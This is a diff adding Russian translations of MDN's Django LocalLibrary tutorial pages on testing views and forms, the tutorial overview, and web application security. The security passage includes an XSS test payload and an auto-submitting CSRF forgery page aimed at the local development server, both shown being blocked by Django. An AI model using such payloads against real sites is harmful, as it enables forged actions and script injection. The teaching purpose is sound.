len(resp.context['bookinstance_list']),10) + + last_date=0 + for copy in resp.context['bookinstance_list']: + if last_date==0: + last_date=copy.due_back + else: + self.assertTrue(last_date <= copy.due_back)</pre> + +<p>Если хотите, то вы, безусловно, можете добавить тесты проверяющие постраничный вывод!</p> + +<h4 id="Тестирование_форм_и_отображений">Тестирование форм и отображений</h4> + +<p>Процесс тестирования отображений с формами немного более сложен, чем в представленных ранее случаях, поскольку вам надо протестировать большее количество кода: начальное состояние показа формы, показ формы и ее данных в случае ошибок, а также показ формы в случае успеха. Хорошей новостью является то, что мы применяем клиент для тестирования практически тем же способом, как мы делали это в случае отображений, которые отвечают только за вывод информации.</p> + +<p>В качестве демонстрации давайте напишем некоторые тесты для отображения, которые отвечают за обновление книг(<code>renew_book_librarian()</code>):</p> + +<pre class="brush: python">from .forms import RenewBookForm + +@permission_required('catalog.can_mark_returned') +def renew_book_librarian(request, pk): + """ + Функция отображения обновления экземпляра BookInstance библиотекарем + """ + book_inst=get_object_or_404(BookInstance, pk = pk) + + # Если это POST-запрос, тогда обработать данные формы + if request.method == 'POST': + + # Создать объект формы и заполнить ее данными из запроса (связывание/биндинг): + form = RenewBookForm(request.POST) + + # Проверка валидности формы: + if form.is_valid(): + # process the data in form.cleaned_data as required (here we just write it to the model due_back field) + book_inst.due_back = form.cleaned_data['renewal_date'] + book_inst.save() + + # переход по URL-адресу: + return HttpResponseRedirect(reverse('all-borrowed') ) + + # Если это GET-запрос (или что-то еще), то создаем форму по умолчанию + else: + proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3) + form = RenewBookForm(initial={'renewal_date': proposed_renewal_date,}) + + return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst})</pre> + +<p>Нам надо проверить что к данному отображению имеют доступ только те пользователи, которые имеют разрешение типа <code>can_mark_returned</code>, а кроме того, что пользователи перенаправляются на страницу ошибки HTTP 404 если они пытаются обновить экземпляр книги <code>BookInstance</code>, который не существует. Мы должны проверить что начальное значение формы соответствует дате через 3 недели в будущем, а также то, что если форма прошла валидацию, то мы переходим на страницу отображения книг "all-borrowed" (забронированных). Для тестов, отвечающих за проверку "провалов", мы также должны удостовериться что они отправляют соответствующие сообщения об ошибках.</p> + +<p>В нижнюю часть файла <strong>/catalog/tests/test_views.py</strong> добавьте класс тестрования (показан во фрагменте, ниже). Он создает двух пользователей и два экземпляра книги, но только один пользователь получает необходимый доступ к соответствующему отображению. Код, который "присваивает" соответствующий доступ, выделен в коде жирным:</p> + +<pre class="brush: python">from django.contrib.auth.models import Permission # Required to grant the permission needed to set a book as returned. + +class RenewBookInstancesViewTest(TestCase): + + def setUp(self): + #Создание пользователя + test_user1 = User.objects.create_user(username='testuser1', password='12345') + test_user1.save() + + test_user2 = User.objects.create_user(username='testuser2', password='12345') + test_user2.save() +<strong> permission = Permission.objects.get(name='Set book as returned') + test_user2.user_permissions.add(permission) + test_user2.save()</strong> + + #Создание книги + test_author = Author.objects.create(first_name='John', last_name='Smith') + test_genre = Genre.objects.create(name='Fantasy') + test_language = Language.objects.create(name='English') + test_book = Book.objects.create(title='Book Title', summary = 'My book summary', isbn='ABCDEFG', author=test_author, language=test_language,) + #Создание жанра Create genre as a post-step + genre_objects_for_book = Genre.objects.all() + test_book.genre=genre_objects_for_book + test_book.save() + + #Создание объекта BookInstance для для пользователя test_user1 + return_date= datetime.date.today() + datetime.timedelta(days=5) + self.test_bookinstance1=BookInstance.objects.create(book=test_book,imprint='Unlikely Imprint, 2016', due_back=return_date, borrower=test_user1, status='o') + + #Создание объекта BookInstance для для пользователя test_user2 + return_date= datetime.date.today() + datetime.timedelta(days=5) + self.test_bookinstance2=BookInstance.objects.create(book=test_book,imprint='Unlikely Imprint, 2016', due_back=return_date, borrower=test_user2, status='o')</pre> + +<p>В нижнюю часть класса тестирования добавьте следующие методы (из следующего фрагмента). Они проверяют, что только пользователь с соответствущим доступом (<em>testuser2</em>) имеет доступ к отображению. Мы проверяем все случаи: когда пользователь не залогинился, когда залогинился, но не имеет соответствующего доступа, когда имеет доступ, но не является заемщиком книги (тест должен быть успешным), а также, что произойдет если попытаться получить доступ к книге <code>BookInstance</code> которой не существует. Кроме того, мы проверям то, что используется правильный (необходимый) шаблон.</p> + +<pre class="brush: python"> def test_redirect_if_not_logged_in(self): + resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}) ) + #Manually check redirect (Can't use assertRedirect, because the redirect URL is unpredictable) + self.assertEqual( resp.status_code,302) + self.assertTrue( resp.url.startswith('/accounts/login/') ) + + def test_redirect_if_logged_in_but_not_correct_permission(self): + login = self.client.login(username='testuser1', password='12345') + resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}) ) + + #Manually check redirect (Can't use assertRedirect, because the redirect URL is unpredictable) + self.assertEqual( resp.status_code,302) + self.assertTrue( resp.url.startswith('/accounts/login/') ) + + def test_logged_in_with_permission_borrowed_book(self): + login = self.client.login(username='testuser2', password='12345') + resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance2.pk,}) ) + + #Check that it lets us login - this is our book and we have the right permissions. + self.assertEqual( resp.status_code,200) + + def test_logged_in_with_permission_another_users_borrowed_book(self): + login = self.client.login(username='testuser2', password='12345') + resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}) ) + + #Check that it lets us login. We're a librarian, so we can view any users book + self.assertEqual( resp.status_code,200) + + def test_HTTP404_for_invalid_book_if_logged_in(self): + import uuid + test_uid = uuid.uuid4() #unlikely UID to match our bookinstance! + login = self.client.login(username='testuser2', password='12345') + resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':test_uid,}) ) + self.assertEqual( resp.status_code,404) + + def test_uses_correct_template(self): + login = self.client.login(username='testuser2', password='12345') + resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}) ) + self.assertEqual( resp.status_code,200) + + #Check we used correct template + self.assertTemplateUsed(resp, 'catalog/book_renew_librarian.html') +</pre> + +<p>Добавьте еще один тестовый метод, показанный ниже. Он проверяет что начальная дата равна трем неделям в будущем. Заметьте, что мы имеем возможность получить доступ к начальному значению из поля формы (выделено жирным).</p> + +<pre class="brush: python"> def test_form_renewal_date_initially_has_date_three_weeks_in_future(self): + login = self.client.login(username='testuser2', password='12345') + resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}) ) + self.assertEqual( resp.status_code,200) + + date_3_weeks_in_future = datetime.date.today() + datetime.timedelta(weeks=3) + self.assertEqual(<strong>resp.context['form'].initial['renewal_date']</strong>, date_3_weeks_in_future ) +</pre> + +<p>Следующий тест (тоже добавьте его в свой класс) проверяет что отображение, в случае успеха, перенаправляет пользователя к списку всех забронированных книг. Здесь мы показываем как при помощи клиента вы можете создать и передать данные в <code>POST</code>-запросе. Данный запрос передается вторым аргументом в пост-функцию и представляет из себя словарь пар ключ/значение.</p> + +<pre class="brush: python"> def test_redirects_to_all_borrowed_book_list_on_success(self): + login = self.client.login(username='testuser2', password='12345') + valid_date_in_future = datetime.date.today() + datetime.timedelta(weeks=2) + resp = <strong>self.client.<em>post</em>(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':valid_date_in_future} )</strong> + self.assertRedirects(resp, reverse('all-borrowed') ) +</pre> + +<div class="warning"> +<p>Вместо перехода к отображению <em>all-borrowed</em>, добавленого в качестве <em>домашнего задания</em>, вы можете перенаправить пользователя на домашнюю страницу '/'. В таком случае, исправьте две последние строки тестового кода на код, показанный ниже. Присваивание <code>follow=True</code>, в запросе, гарантирует что запрос вернет окончательный URL-адрес пункта назначения (следовательно проверяется <code>/catalog/</code>, а не <code>/</code>).</p> + +<pre class="brush: python"> resp = self.client.post(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':valid_date_in_future},<strong>follow=True</strong> ) + <strong>self.assertRedirects(resp, '/catalog/')</strong></pre> +</div> + +<p>Скопируйте две последние функции в класс, представленные ниже. Они тоже проверяют <code>POST</code>-запросы, но для случая неверных дат. Мы используем функцию <code>assertFormError()</code>, чтобы проверить сообщения об ошибках.</p> + +<pre class="brush: python"> def test_form_invalid_renewal_date_past(self): + login = self.client.login(username='testuser2', password='12345') + date_in_past = datetime.date.today() - datetime.timedelta(weeks=1) + resp = self.client.post(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':date_in_past} ) + self.assertEqual( resp.status_code,200) + <strong>self.assertFormError(resp, 'form', 'renewal_date', 'Invalid date - renewal in past')</strong> + + def test_form_invalid_renewal_date_future(self): + login = self.client.login(username='testuser2', password='12345') + invalid_date_in_future = datetime.date.today() + datetime.timedelta(weeks=5) + resp = self.client.post(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':invalid_date_in_future} ) + self.assertEqual( resp.status_code,200) + <strong>self.assertFormError(resp, 'form', 'renewal_date', 'Invalid date - renewal more than 4 weeks ahead')</strong> +</pre> + +<p>Такие же способы тестрования могут применяться для проверок других отображений.</p> + +<h3 id="Шаблоны">Шаблоны</h3> + +<p>Django предоставляет API для тестирования, которое проверяет что функции отображения вызывают правильные шаблоны, а также позволяют убедиться, что им передается соответствующая информация. Кроме того, в Django имеется возможность использовать сторонние API для проверок того, что ваш HTML показывает то, что надо.</p> + +<h2 id="Другие_рекомендованные_инструменты_для_тестирования">Другие рекомендованные инструменты для тестирования</h2> + +<p>Django фреймворк для тестирования помогает вам создавать эффективные юнит- и интеграционные тесты — мы рассмотрели только небольшую часть того, что может делать фреймворк <strong>unittest</strong> и совсем не упоминали дополнения Django (например, посмотрите на модуль <a href="https://docs.python.org/3.5/library/unittest.mock-examples.html">unittest.mock</a>, который подключает сторонние библиотеки тестирования).</p> + +<p>Из всего множества сторонних инструментов тестирования, мы кратко опишем возможности двух:</p> + +<ul> + <li><a href="http://coverage.readthedocs.io/en/latest/">Coverage</a>: Это инструмент Python, который формирует отчеты о том, какое количество кода выполняется во время проведения тестов. Это полезно для уточнения степени "покрытия" кода тестами.</li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Selenium</a> это фреймворк проведения автоматического тестирования в настоящем браузере. Он позволяет вам имитировать взаимодействие пользователя с вашим сайтом (что является следующим шагом в проведении интеграционных тестов).</li> +</ul> + +<h2 id="Домашняя_работы">Домашняя работы</h2> + +<p>Существуют другие модели и отображения, которые мы могли бы протестировать. В качестве простого упражнения, попробуйте создать тестовый вариант для отображения <code>AuthorCreate</code>.</p> + +<pre class="brush: python">class AuthorCreate(PermissionRequiredMixin, CreateView): + model = Author + fields = '__all__' + initial={'date_of_death':'12/10/2016',} + permission_required = 'catalog.can_mark_returned'</pre> + +<p>Помните, - вам надо проверить все, что касается вашего кода, или структуры. Это включает в себя: кто имеет доступ к отображению, начальную дату, применяемый шаблон, а также перенаправление из отображения в случае успеха.</p> + +<h2 id="Итоги">Итоги</h2> + +<p>Написание тестов не является ни весельем, ни развлечением и, соответственно, при создании сайтов часто остается напоследок (или вообще не используется). Но тем не менее, они являются действенным механизмом, который позволяет вам убедиться, что ваш код в находится безопасности, даже если в него добавляются какие-либо изменения. Кроме того, тесты повышают эффективность поддержки вашего кода.</p> + +<p>В данном руководстве мы продемонстрировали вам принципы написания тестов для ваших моделей, форм и отображений. Мы кратко перечислили что именно необходимо тестировать, что обычно сложно выявить в самом начале разработки. Существует много аспектов которые необходимо изучить, но даже с тем что мы уже узнали, вы имеете возможность создавать эффективные юнит-тесты для значительного улучшения процесса разработки.</p> + +<p>Следующая и последняя часть руководства покажет вам как запустить ваш чудесный (и полностью протестированный!) веб-сайт Django.</p> + +<h2 id="Смотрите_также">Смотрите также</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/testing/overview/">Написание и запуск тестов</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/intro/tutorial05/">Написание вашего первого приложения Django, часть 5 > Введение в автоматическое тестирование</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/">Инструменты для тестирования</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/testing/advanced/">Продвинутое тестирование</a> (Django docs)</li> + <li><a href="http://toastdriven.com/blog/2011/apr/10/guide-to-testing-in-django/">Путеводитель по тестированию в Django</a> (Toast Driven Blog, 2011)</li> + <li><a href="http://test-driven-django-development.readthedocs.io/en/latest/index.html">Мастерская: Разработка через тесты с Django (TDD)</a> (San Diego Python, 2014)</li> + <li><a href="https://realpython.com/blog/python/testing-in-django-part-1-best-practices-and-examples/">Тестирование в Django (Часть 1) - Лучшие практики и Примеры </a>(RealPython, 2013)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Forms", "Learn/Server-side/Django/Deployment", "Learn/Server-side/Django")}}</p> diff --git a/files/ru/learn/server-side/django/tutorial_local_library_website/index.html b/files/ru/learn/server-side/django/tutorial_local_library_website/index.html new file mode 100644 index 0000000000..36ad7aa9cb --- /dev/null +++ b/files/ru/learn/server-side/django/tutorial_local_library_website/index.html @@ -0,0 +1,74 @@ +--- +title: 'Руководство по Django: сайт местной библиотеки' +slug: Learn/Server-side/Django/Tutorial_local_library_website +tags: + - django + - Для начинающих + - Программирование + - Руководство + - Серверная часть +translation_of: Learn/Server-side/Django/Tutorial_local_library_website +--- +<div>{{PreviousMenuNext("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django")}}</div> + +<p class="summary">Первая статья в нашем цикле объясняет, что вы узнаете, и разбирает пример сайта "местная библиотека", который мы будем разрабатывать и улучшать в последующих статьях.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Необходимо:</th> + <td>Прочитайте наше <a href="/ru/docs/Learn/Server-side/Django/Introduction">вступление</a>. Для последующих статей вам так же потребуется настроить <a href="/ru/docs/Learn/Server-side/Django/development_environment">среду разработки.</a></td> + </tr> + <tr> + <th scope="row">Цель:</th> + <td>Представить читателю пример веб-приложения, которое будет использоваться в нашем руководстве и показать, какие темы будут изучены в этом цикле статей.</td> + </tr> + </tbody> +</table> + +<h2 id="Обзор_руководства">Обзор руководства</h2> + +<p>Добро пожаловать на руководство MDN "Сайт местной библиотеки" по фреймворку Django, который может использоваться для управления архивом библиотеки.</p> + +<p>В цикле статей мы научимся:</p> + +<ul> + <li>При помощи Django создавать прототип сайта. </li> + <li>Запускать и останавливать сервер для разработки.</li> + <li>Создавать модели для представления данных.</li> + <li>Использовать админ-панель Django для управления сайтом</li> + <li>Создавать представления для того, чтобы формировать из данных ответы на различные запросы и превращать их в HTML разметку, которая будет отображаться в браузере.</li> + <li>Создавать маршруты, чтобы определённые URL адреса ассоциировались сервером с определёнными представлениями</li> + <li>Создавать авторизацию пользователей и сессии, чтобы управлять доступом к сайту.</li> + <li>Работать с формами.</li> + <li>Тестировать ваше веб-приложение.</li> + <li>Эффективно использовать средства безопасности Django.</li> + <li>Размещать ваш сайт в Сети.</li> +</ul> + +<p>С некоторыми темами вы уже сталкивались, а про некоторые только знаете, что они существуют. По окончанию цикла статей вы должны будете иметь достаточно знаний, чтобы разрабатывать несложные сайты на Django для своих целей.</p> + +<h2 id="Сайт_местной_библиотеки">Сайт местной библиотеки</h2> + +<p><em>Это </em>название сайта, который мы создадим и будем улучшать, в течение этого цикла статей. Как можно догадаться, цель этого сайта в том, чтобы представить небольшой онлайн каталог маленькой местной библиотеки, где пользователи смогут загружать доступные книги и управлять своими профилями.</p> + +<p>Этот пример был выбран потому, что его можно масштабировать, чтобы рассказать настолько детально или поверхностно, насколько это требуется, о почти любой оссобенности Django. Что более важно, этот пример позволяет показать <em>последовательный</em> путь по самым важным функциям фреймворка Django:</p> + +<ul> + <li>В самом начале, мы создадим библиотеку, в которой пользователи смогут только просматривать доступные книги. Это позволит нам исследовать операции, которые присутствуют почти на каждом сайте: чтение и отображение информации из базы данных.</li> + <li>По мере продвижения, на сайте станут использоваться более продвинутые возможности Django. Например, мы сможем расширить библиотеку и позволить пользователям резервировать книги, чтобы показать как использовать формы и авторизацию.</li> +</ul> + +<p>Несмотря на то, что это довольно обширный пример, проект называется сайтом <em>местной</em> библиотеки потому, что мы надеемся показать минимум достаточной информации, которая поможет вам быстро научиться разрабатывать на Django. Поэтому мы будем хранить данные о книгах, копиях книг, авторах и другую ключевую информацию. Однако мы не будем хранить другую информацию, которая могла бы быть полезной библиотеке, или создавать обширную инфраструктуру для поддержки нескольких сайтов библиотек или другие особенности "крупных библиотек". </p> + +<h2 id="Я_застрял_где_мне_взять_код">Я застрял, где мне взять код?</h2> + +<p>По мере усложнения руководства, мы будем предоставлять необходимый код, который можно скопировать и вставить, а так же будет и другой код, который, мы надеемся, вы улучшите самостоятельно.</p> + +<p>Если вы застряли, то можете найти полноценную версию сайта на <a href="https://github.com/mdn/django-locallibrary-tutorial">Github</a>.</p> + +<h2 id="Подводя_итоги">Подводя итоги</h2> + +<p>Теперь вы знаете чуть больше о сайте, который мы будем разрабатывать, и теперь самое время создать <a href="/ru/docs/Learn/Server-side/Django/skeleton_website">скелет</a> нашего сайта.</p> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django")}}</p> diff --git a/files/ru/learn/server-side/django/web_application_security/index.html b/files/ru/learn/server-side/django/web_application_security/index.html new file mode 100644 index 0000000000..84448f9eb3 --- /dev/null +++ b/files/ru/learn/server-side/django/web_application_security/index.html @@ -0,0 +1,179 @@ +--- +title: Безопасность веб-приложения Django +slug: Learn/Server-side/Django/web_application_security +translation_of: Learn/Server-side/Django/web_application_security +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Deployment", "Learn/Server-side/Django/django_assessment_blog", "Learn/Server-side/Django")}}</div> + +<p class="summary">Защита пользовательских данных - важная часть проектирования любого веб-сайта.Ранее мы рассматривали некоторые наиболее распространенные угрозы безопасности в теме <a href="https://developer.mozilla.org/en-US/docs/Web/Security">Веб безопасность</a>. В данной статье будет представлена практическая демонстрация того, как встроенные механизмы защиты Django's обрабатывают подобные угрозы.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Требования:</th> + <td>Прочитайте тему <a href="https://developer.mozilla.org/en-US/docs/Web/Security">Веб безопасность</a>. Завершите изучение предыдущих частей руководства до <a href="/en-US/docs/Learn/Server-side/Django/Forms">Руководство часть 9: Работа с формами </a>включительно.</td> + </tr> + <tr> + <th scope="row">Цель:</th> + <td>Понять, что нужно делать (или наоборот не делать), для обеспечения безопасности вашего веб-приложения.</td> + </tr> + </tbody> +</table> + +<h2 id="Обзор">Обзор</h2> + +<p>Тема <a href="https://developer.mozilla.org/en-US/docs/Web/Security">Веб безопасность</a> рассматривает значение безопасности веб-приложения для проектирования серверного приложения и некоторые из наиболее распространенных угроз, от которых вам может потребоваться защита. Одна из ключевых идей этой темы состоит в том, что практически все атаки будут успешны, если веб-приложение доверяет пользовательским данным (например данным из браузера).</p> + +<div class="warning"> +<p><strong>Важно:</strong> Наиболее важный урок, который вы должны усвоить, состоит в том - что никогда не стоит доверять переданным пользователем данным. Они включают в себя GET параметры в URL, тело POST запроса, HTTP заголовки, cookies, загруженные пользователем данные и т.д. Всегда проверяйте и обрабатывайте все входные данные. Всегда готовьтесь к худшему.</p> +</div> + +<p>Хорошей новостью для всех разработчиков, использующих Django, является то, что большинство известных атак обрабатывается фреймворком! Статья <a href="https://docs.djangoproject.com/en/2.0/topics/security/">Безопасность в Django</a> (Django docs) описывает методы обеспечения безопасности Django и стратегии защиты веб-приложения разработанного на данном фреймворке.</p> + +<h2 id="Распространенные_угрозыметоды_защиты">Распространенные угрозы/методы защиты</h2> + +<p>Мы не будем дублировать документацию Django и в данной статье продемонстрируем некоторые основные методы обеспечения безопасности в контексте разрабатываемого в данном руководстве приложения <a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>.</p> + +<h3 id="Межсайтовый_скриптинг_(XSS)">Межсайтовый скриптинг (XSS)</h3> + +<p>XSS это термин, применяющийся для описания класса атак, позволяющего атакующему, через веб-сайт внедрить скрипты, которые будут выполнены на устройстве зашедшего на страницу пользователя. Часто это происходит через сохранение вредоносного кода в базе данных, откуда данный код будет возвращен и выполнен для запросившего некие данные пользователя (типичный пример - сохранение тега <script> с вредоносным кодом в комментарии, который может увидеть другой пользователь). Другой вектор атаки - в том чтобы сгенерировать определенную ссылку, при клике на которую пользователь запустит выполнение некоего замаскированного кода JavaScript в своем браузере.</p> + +<p>Система шаблонов Django защищает от большинства XSS атак, <a href="https://docs.djangoproject.com/en/2.0/ref/templates/language/#automatic-html-escaping">экранируя определенные символы</a>, считающиеся "опасными" в HTML. Мы можем продемонстрировать это, попытавшись внедрить произвольный JavaScript код в наше приложение LocalLibrary через форму добавления автора, созданную в <a href="/en-US/docs/Learn/Server-side/Django/Forms">Руководство часть 9: Работа с формами</a>.</p> + +<ol> + <li>Запустите веб-сайт, используя сервер разработки (<code>python3 manage.py runserver</code>).</li> + <li>Откройте сайт в вашем браузере и войдите под аккаунтом супер-пользователя.</li> + <li>Перейдите на страницу добавления автора (она должна быть доступна по URL: <code><a href="http://127.0.0.1:8000/catalog/author/create/">http://127.0.0.1:8000/catalog/author/create/</a></code>).</li> + <li>Введите данные об имени и фамилии, датах рождения и смерти автора. Затем добавьте следующую строку в поле фамилии:<br> + <code><script>alert('Test alert');</script></code>.<br> + <img alt="Author Form XSS test" src="https://mdn.mozillademos.org/files/14305/author_create_form_alert_xss.png" style="border-style: solid; border-width: 1px; height: 245px; width: 594px;"> + <div class="note"> + <p><strong>Примечание:</strong> Это безобидный скрипт, который, если будет выполнен, отобразит окно с сообщением "Test alert" в вашем браузере. Если данное окно отображается при открытии страницы с созданной подобным образом записью - значит сайт уязвим перед атаками XSS.</p> + </div> + </li> + <li>Нажмите <strong>Submit</strong> для сохранения записи.</li> + <li>После сохранения автора - он должен быть отображен, как показано ниже. Так как сработала защита от XSS - команда <code>alert()</code> не будет запущена. Вместо этого скрипт будет отображаться как обычный текст.<img alt="Author detail view XSS test" src="https://mdn.mozillademos.org/files/14307/author_detail_alert_xss.png" style="border-style: solid; border-width: 1px; height: 248px; width: 986px;"></li> +</ol> + +<p>Если вы посмотрите исходный HTML код, вы увидите, что "опасные" символы - например такие как скобки тегов - были заменены на их безопасные эквивалентные html сущности (к примеру <code>></code> на <code>&gt;</code>)</p> + +<pre class="brush: html"><h1>Author: Boon&lt;script&gt;alert(&#39;Test alert&#39;);&lt;/script&gt;, David (Boonie) </h1> +</pre> + +<p>Использование шаблонов Django защищает вас от большинтсва XSS атак. Однако существует возможность отключения данной защиты, при котором экранирование не будет автоматически применятся ко всем полям, которые не должны будут заполнятся пользователем(к примеру, поле <code>help_text</code> обычно заполняется не пользователем, поэтому Django не будет экранировать его значение).</p> + +<p>Так же XSS атаки могут быть осуществлены через другие ненадежные источники данных, такие как cookies, сторонние сервисы или загруженные файлы (и прочие источники, данные которых не были специально обработаны перед отображением на странице). Если вы отображаете данные из этих источников, вы должны добавить ваш собственный обработчик для "санитаризации" данных.</p> + +<h3 id="Межсайтовая_подделка_запроса_(CSRF)">Межсайтовая подделка запроса (CSRF)</h3> + +<p>CSRF атаки позволяют атакующему выполнять действия от имени другого пользователя без его согласия. Например, предположим что есть хакер, который хочет добавить авторов в наше приложение LocalLibrary.</p> + +<div class="note"> +<p><strong>Примечание:</strong> Очевидно, что наш хакер делает это не ради денег! Более амбициозные хакеры могут использовать описываемый подход для выполнения более опасных задач (например, переводы денег пользователей на их личные счета и т.д).</p> +</div> + +<p>Для того, чтобы сделать это, хакер может создать HTML файл, подобный продемонстрированному ниже, который будет содержать форму создания автора (похожую на ту, что мы разрабатывали в предыдущих частях руководства), которая будет отправлена как только данный файл будет загружен в браузер. Хакер отправит данный файл всем Библиотекарям и будет ждать пока кто-либо из них откроет файл (он содержит только безобидную информацию, честно!). Если файл будет открыт любым залогиненным пользователм, с правами Библиотекаря - тогда форма будет отправлена от его имени и создаст нового пользователя.</p> + +<pre class="brush: html"><html> +<body onload='document.EvilForm.submit()'> + +<form action="http://127.0.0.1:8000/catalog/author/create/" method="post" name='EvilForm'> + <table> + <tr><th><label for="id_first_name">First name:</label></th><td><input id="id_first_name" maxlength="100" name="first_name" type="text" value="Mad" required /></td></tr> + <tr><th><label for="id_last_name">Last name:</label></th><td><input id="id_last_name" maxlength="100" name="last_name" type="text" value="Man" required /></td></tr> + <tr><th><label for="id_date_of_birth">Date of birth:</label></th><td><input id="id_date_of_birth" name="date_of_birth" type="text" /></td></tr> + <tr><th><label for="id_date_of_death">Died:</label></th><td><input id="id_date_of_death" name="date_of_death" type="text" value="12/10/2016" /></td></tr> + </table> + <input type="submit" value="Submit" /> +</form> + +</body> +</html> +</pre> + +<p>Запустите веб-сервер разработки и войдите в аккаунт супер-пользователя. Скопируйте приведенный выше текст в файл и затем откройте его в браузере. Вы должны получить CSRF ошибку, потому что у Django есть защита от атак данного вида!</p> + +<p>Механизм защиты заключается в том, что вы добавляете тег шаблона <code>{% csrf_token %}</code> в вашу форму. Этот токен будет отображен в вашем HTML как показано ниже, со значением, уникальным для каждого запрашивающего форму пользователя.</p> + +<pre class="brush: html"><input type='hidden' name='csrfmiddlewaretoken' value='0QRWHnYVg776y2l66mcvZqp8alrv4lb8S8lZ4ZJUWGZFA5VHrVfL2mpH29YZ39PW' /> +</pre> + +<p>Django генерирует уникальный для пользователя/браузера токен и отклоняет все формы, которые не содержат его или содержат его неверное значение.</p> + +<p>Для продолжения использования данного вида атак, хакер теперь должен найти и добавить верный CSRF токен для каждого выбранного целью пользователя. Это означает, что хакер теперь не может использовать массовые рассылки одного вредоносного файла всем Библиотекарям, так как для каждого из них CSRF токен будет уникальным.</p> + +<p>Защита Django от CSRF атак по умолчанию включена. Вам всегда следует использовать тег<code>{% csrf_token %}</code> в ваших формах и использовать <code>POST</code> для запросов, которые могут изменить или добавить данные в вашу базу данных.</p> + +<h3 id="Другие_атаки">Другие атаки</h3> + +<p>Django так же предоставляет защиту от других видов атак ( демонстрация большинства из которых была бы сложна новичкам для понимания и не слишком полезна ):</p> + +<dl> + <dt>Защита от SQL инъекции</dt> + <dd>Уязвимость SQL инъекции позволяет атакующему выполнить произвольный SQL код в базе данных и получить доступ к данным (прочитать, отредактировать и изменить) независимо от текущих прав доступа пользователя. В большинстве случаев вы будете получать доступ к данным базы данных, используя сущности queryset/model Django. Используя их для генерации SQL запросов, вы получите корректно сформированный и экранированный запрос для выбранной базы данных. Если вам необходимо писать "сырые" запросы, вам так же нужно будет продумать защиту от инъекций.</dd> + <dt><span class="ILfuVd yZ8quc">Защита от Кликджекинга</span></dt> + <dd>В данном виде атак атакующий перехватывает ввод на видимом слое страницы и перенаправляет их на скрытый слой под ним. Этот метод может быть использован к примеру для отображения официального сайта банка, с перехватом данных для входа в невидимом <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe" title="The HTML Inline Frame Element (<iframe>) represents a nested browsing context, effectively embedding another HTML page into the current page. In HTML 4.01, a document may contain a head and a body or a head and a frameset, but not both a body and a frameset. However, an <iframe> can be used within a normal document body. Each browsing context has its own session history and active document. The browsing context that contains the embedded content is called the parent browsing context. The top-level browsing context (which has no parent) is typically the browser window."><code><iframe></code></a>, который контролирует атакующий. Django содержит <a href="https://docs.djangoproject.com/en/2.0/ref/clickjacking/#clickjacking-prevention">защиту от кликджекинга</a> в виде <code><a href="https://docs.djangoproject.com/en/2.0/ref/middleware/#django.middleware.clickjacking.XFrameOptionsMiddleware" title="django.middleware.clickjacking.XFrameOptionsMiddleware">промежуточного програмного обеспечения (middleware) X-Frame-Options</a>,</code> который поддерживается браузерами и может запретить отображение страницы внутри <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe" title="The HTML Inline Frame Element (<iframe>) represents a nested browsing context, effectively embedding another HTML page into the current page. In HTML 4.01, a document may contain a head and a body or a head and a frameset, but not both a body and a frameset. However, an <iframe> can be used within a normal document body. Each browsing context has its own session history and active document. The browsing context that contains the embedded content is called the parent browsing context. The top-level browsing context (which has no parent) is typically the browser window."><code><iframe></code></a>.</dd> + <dt>SSL/HTTPS</dt> + <dd>SSL/HTTPS может быть использован на веб-сервере для шифрования всего трафика между сервером и пользователем, включая данные входа, которые иначе будут отправлятся как обычный текст (который сможет прочитать любой перехвативший запрос человек). Использование HTTPS высоко рекомендовано. Если используется HTTPS, Django позволяет использовать следующие методы защиты:</dd> +</dl> + +<ul> + <li><a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-SECURE_PROXY_SSL_HEADER"><code>SECURE_PROXY_SSL_HEADER</code></a> может быть использовано для проверки что всегда используется безопасное подключение, даже если данные поступают из прокси, использующего протокол отличный от HTTP.</li> + <li><a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-SECURE_SSL_REDIRECT"><code>SECURE_SSL_REDIRECT</code></a> используется для перенаправления всех запросов с HTTP на HTTPS.</li> + <li>Используйте <a href="https://docs.djangoproject.com/en/2.0/ref/middleware/#http-strict-transport-security">HTTP Strict Transport Security</a> (HSTS). Этот HTTP заголовок информирует браузер о том, что все последующие запросы должны всегда использовать HTTPS. Совместно с перенаправлением HTTP запросов на HTTPS, эта опция позволяет обеспечить использование HTTPS в каждом запросе. HSTS может так же быть настроен опциями <a 